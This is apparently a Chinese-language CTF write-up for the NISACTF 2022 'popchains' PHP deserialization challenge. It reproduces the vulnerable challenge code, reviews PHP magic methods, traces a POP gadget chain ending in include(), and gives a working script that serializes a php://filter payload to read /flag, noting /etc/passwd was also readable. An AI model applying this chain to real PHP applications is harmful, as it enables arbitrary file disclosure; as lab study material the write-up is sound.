[NISACTF 2022]popchains wp
题目代码:
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
是一道 PHP 反序列化题。
先来回顾一下 PHP 全部魔术方法及其触发条件
__construct()– 在创建对象时调用,用于初始化对象的属性和方法。
__destruct() – 在对象销毁时调用,用于释放资源和清理操作。
__call(args) – 在调用一个不存在的方法时触发。
__callStatic(args) – 在调用一个不存在的静态方法时触发。
__get($name) – 在访问一个不存在的属性时触发。
__set(value) – 在给一个不存在的属性赋值时触发。给私有属性,受保护属性赋值也能触发。
__isset($name) – 在判断一个不存在的属性是否存在时触发。
__unset($name) – 在销毁一个不存在的属性时触发。
__sleep() – 在序列化一个对象时触发。
__wakeup() – 在反序列化一个对象时触发。
__toString() – 在将对象转换为字符串时触发。echo,print,die,preg_match,strtolower等函数操作对象时触发,还有弱比较 == 也能触发。
__invoke($args) – 在将对象作为函数调用时触发。
__set_state($properties) – 在使用var_export()导出类时触发。
__clone() – 在将对象复制时触发。
__debugInfo() – 在使用var_dump()函数打印对象时触发。
构造 pop 链
include()
函数在 Try_Work_Hard 类的 append
方法里,并且该类的 __invoke()
方法调用了 append
方法;
Try_Work_Hard 类的 __invoke()
方法可以在 Make_a_Change 类的 __get
方法中被触发:return $function();
;
Make_a_Change 类的 __get
方法可以在 Road_is_Long 类的 __toString()
方法中被触发:return $this->string->page;
;
Road_is_Long 类的 __toString()
方法可以在 Road_is_Long 类的 __wakeup()
方法中被触发:preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)
,原因是:
preg_match() 函数用于在字符串中执行正则表达式匹配。它接受一个字符串作为输入,而不是一个对象。如果你传递一个对象给 preg_match() 函数,PHP 会尝试将这个对象转换为一个字符串,就触发了该对象的 __toString()
方法
Road_is_Long 类的 __wakeup()
方法在反序列化时被触发;
这样,pop 链就构造完成了,以下是代码:
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var = "php://filter/read=convert.base64-encode/resource=/flag";
}
class Make_a_Change{
public $effort;
}
/**********************Try to See flag.php*****************************/
$demo = new Road_is_Long();
$demo->page = new Road_is_Long();
$demo->page->string = new Make_a_Change();
$demo->page->string->effort = new Try_Work_Hard();
echo urlencode(serialize($demo));
根据提示,我去读取 flag.php 文件,但是怎样都读取不出来,明明同样的代码,换成 /etc/passwd 都能读出来。后来看了大佬的 wp ,得知 flag 在根目录下,合着 flag.php 只是个幌子呗。
拿到 flag :